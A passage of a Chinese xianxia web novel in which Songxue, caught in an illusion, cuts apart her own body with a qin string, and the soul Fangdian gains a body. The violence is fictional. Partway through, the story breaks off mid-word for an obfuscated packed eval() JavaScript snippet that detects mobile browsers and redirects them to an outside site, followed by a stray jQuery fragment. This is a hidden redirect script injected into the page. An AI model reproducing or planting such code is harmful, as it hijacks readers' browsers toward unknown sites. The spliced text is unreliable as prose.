松雪神思恍惚一瞬,被藤蔓钻了空子。藤蔓再次卷来,将她四肢躯干全部紧紧缠住,拉入沼泽之中。
“好师侄,这幻境之困便是我送你的见面礼。何时记起你师父的名字,便何时再出来吧!”那女子的声音又响起,“不过,想的时间太长,沼泽可是真的会吃人的。”
松雪听明白了,眼前景象不是真的,这股杀意却不假。
“你我无冤无仇,仙姑为何要对我动杀心。”松雪大为不解,她边问,边集中心念,汇出灵力隔绝开藤蔓的纠缠。
“不杀你,他怎会舍得现身呢?”女子冷冷笑道。
冤枉,这可真是太冤了!松雪都还没确认自己师父与这女子师兄是否真为同一人,便要无故遭上一劫。况且,她自认也没对师父做过什么大逆不道的事情,这位半路杀出来的师叔,为何这般敌对她?
更奇怪的是,这位“师叔”,为何会有绕梁仙尊的气息?
还未来得及将诸多问题抛出口,松雪便被新长出的一轮藤蔓纠缠住,死死地往沼泽深处拉去。这回抽出的藤条跟成年男子手臂一般粗,紧紧地勒住松雪脖子,缠住她的四肢,让她动弹不得。松雪化掌为刃,向藤条劈去,被削到的藤蔓突然变得跟棉花似的软绵绵,卸了她的力道。更难缠的是,这些藤蔓会吞噬松雪的灵力,抽出更多更粗壮的藤条来对付松雪。
幻境中一切都变得毫无道理,松雪空有一身本领却无处着力。她料想“师叔”应当是要利用她去做什么事,不会这么快把她弄死,于是松雪当了一回赌徒——她放弃挣扎,由着沼泽将自己拖入深渊。
很快,松雪有些后悔了。
被沼泽吞没的感觉太真实,松雪已经很久没有体会过这种极度窒息与压迫的感觉了。沼泽掠夺了她的呼吸,又将她的四肢百骸、五脏六腑碾压了个遍。当下她的神智异常清明,正好可以清醒着领略濒死的痛苦。
正当松雪半死不活之际,她突然意识到与自己“感同身受”的芳甸,不知从什么时候开始,他存在的气息就弱了许多。不知他现在是否受自己牵连,和她一样难受。
“你在么?”松雪问。
也许是疼痛拉长了时间,松雪感觉过了很久,久到如果这不是幻境,这时长已经足够松雪在沼泽中窒息而亡,芳甸的声音才响起。
“我在。”他说。
“疼么?”松雪又问。
“不……”忽然,他顿了顿,改口道,“疼。”
“不疼啊……”松雪会错意,忍不住钦佩夸赞道,“你真厉害!”
“不对。”芳甸固执地纠正道。
“什么不对?”松雪的声音微微颤抖。
芳甸一字一句认真道:“我觉得很疼,因为松雪现在很痛苦。”
松雪本来还隐约有些羡慕芳甸只是轻飘飘的一缕残魂,不像她,即时飞升了也还得跟做凡人时一样,要受皮肉之苦——这痛还不仅仅只停留在“皮肉”层面。一听这话,一股久违的愧疚感漫上心头,“对不住啊芳甸,跟我连着通感,‘同甘’没捞着,‘共苦’倒是一点儿没短了你的。不过……咱们也快疼到头了——”
“不是的,我……”芳甸还想解释什么,却来不及说出口——
伴随一阵粉身碎骨的声音,松雪吐出一口鲜血,她忽然轻松地笑了起来,“终于要结束了,芳甸。”
“松雪?”芳甸怔怔地感受着松雪的灵力流动,待反应过来她在做什么,他失态大喊,“你快停下!”
“无事,”松雪平静道,“记住,这是幻境。”
松雪将全身灵力都汇集入焚祸遗音中,其中几乎被沼泽吞去半数。不过,余下的另一半也足够松雪用来操纵琴弦了。七根琴弦齐齐自发从琴上解下一端。宫、商、角、徵、羽、少宫,前六弦皆是由万年雪蚕丝制成,柔韧无比。松雪催动灵力控制这六根弦,固定住自己的头、身与四肢,让自己完全无法挣脱。而第七弦——少商弦,乃是由玄铁淬炼而成——
玄铁,天生削铁如泥,而松雪的这副身躯,除去心脏,余下的同凡胎□□没什么两样。
松雪有些好笑地想:我的雁翎刀莫名其妙变成了武弦,现在我又把弦作回刀来用。
松雪以灵力操控着武弦,同用手握刀一样熟练。她快速且毫不犹豫地用武弦凌迟了自己的肉身——在芳甸凄厉的叫喊声中。
武弦的动作快到在幻境中留下残影,使松雪看上去像是被千刀万剐了一般。
这场面却意外地看上去不那么血腥,武弦每割下一刀,松雪触到琴弦的那一部分血肉便迅速消散,星星点点地释放出体内真元。最终,松雪的肉身很快全部消失,化成了萤火般的真元散落在泥沼中。萤火不受泥沼的禁锢,盘旋着冲出沼泽,飘散至更深更远的虚空。
芳甸被困在琴中,无望地看着眼前这一幕——松雪被自己的琴弦绞成齑粉,空余他困在七弦具断的焚祸遗音中。
芳甸喉咙里发出野兽般的呜咽,他此刻已经不能像个人一样说出一句完整的话来。即使松雪告诉过他,幻境中的一切都是假的,松雪在将武弦挥向自己之前,匀出了一部分灵力,强硬地隔绝开了与他相连的五感六官。芳甸理应是体会不到这种千刀万剐般的滋味的。但亲眼目睹松雪一点一点,从他眼前消失,芳甸的心口像是被剜去了鲜活的跳动,使他再不能忍受被困在这漆黑方寸之间。
松雪的灵力一散,焚祸遗音对芳甸的禁制立马松了不少,芳甸拖着一缕残魂,冲破最后的禁制,纵深跃入泥沼。沼泽穿过他的残魂,芳甸晃神愣在原地,找不准应当的去处。忽然芳甸看见了那些拉扯过松雪的藤蔓,他嗅到一股不同寻常的气息,鬼使神差地上前去攫住其中一根,竟然真的能握住!
芳甸这才看清,这些藤蔓上的纹理,与雪松树的树干竟一模一样。这些“藤条”一触碰到芳甸,既不躲,也不伤害他,而是攀上芳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691730|173383||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甸的手腕沿着手臂向上爬,一路爬到芳甸心脏的位置。“藤蔓”的尖端瞬间插入芳甸的胸口,芳甸却一点儿也不觉得痛。“藤蔓”一点点钻入芳甸体内,将从松雪那里抢夺来的灵力悉数渡入芳甸的残魂,还连带着送入了一股芳甸既熟悉又陌生的真元入内,使他整个魂变得充盈起来。
芳甸的魂开始慢慢变得清晰强韧,他看见自己一点一点地长出了骨骼与血肉,长成了虚影所化的模样。但这并不是真正的凡胎□□,而是由灵力驱使着藤蔓,凝结成的一个躯体。
但芳甸并不为自身的变化感到任何一点欣喜,松雪的肉身消失了,而他却迎来了新生。
芳甸用新长出的双手,生生将传入灵力的藤蔓自心口处掰断,留下一个瓶口大小的血洞,淌着鲜血。但被掰断的藤条还在源源不断地释放出真元,妄图抚平芳甸的伤口。
芳甸转身抓住被松雪留在原地的武弦,那根弦吸满了松雪的血,如烧红的铁一般刺目。芳甸的手刚一触碰到琴弦,少商弦便同灵蛇遇见主人一样,亲昵地在他左手手腕盘绕了几圈,最终看上去,跟个红珊瑚手钏似的贴合在他手腕上。
芳甸抬手向藤条挥去,缠绕在手腕的武弦轻而易举便将他面前的藤蔓斩断。剩下的藤蔓像是受了什么刺激,瞬间退避三舍,再不敢向前靠近芳甸一步。
芳甸难以置信地抚摸上武弦,道:“是松雪专程把你留给我的么?”
武弦自然是不会说话的,但弦上的红光闪烁了一下。
芳甸微微皱起眉头,又问:“能带我去找她么?”
武弦又闪烁了两下。
芳甸有些着急,“这到底是能还是不能呀?”
武弦不闪了。
“这样,”芳甸迅速冷静下来,好言相劝道,“小少商,我问你的问题,对,你就闪两下,不对,就闪一下,好不好?”
“小少商”似乎听明白了,立马闪了两下。
“松雪……她现在安全么?”芳甸的语气很平静,但尾音不自觉发颤。
小少商却跟没听见似的,完全没有反应。
芳甸不死心,又问了一遍:“可以带我去找她么?”
还是没有回应。
芳甸双目发涩,可这具身体是不可能有眼泪的,他最终只眨了眨干涩的眼睛,右手紧紧攥住缠绕着少商弦的手腕,力气大到像是要将自己捏折。
原本少商弦贴合手臂的一侧是光滑温润的,外圈才是如新开刃的刀一般锋利,以至于方才可以轻松割断对芳甸纠缠不休的藤蔓。可芳甸的右手指尖堪堪碰到琴弦外圈,它立马就变成了一副纯良无害的模样,一点儿也不伤他。
芳甸愣愣地盯着手中的少商弦,陡然想到什么,直直地折过手臂,将戴了琴弦的手腕深深按进胸口还在淌血的血洞中。小少商沾了他的血,散发出更为耀眼的红光。
芳甸红着眼认真问到:“现在,可以带我去找她了么?”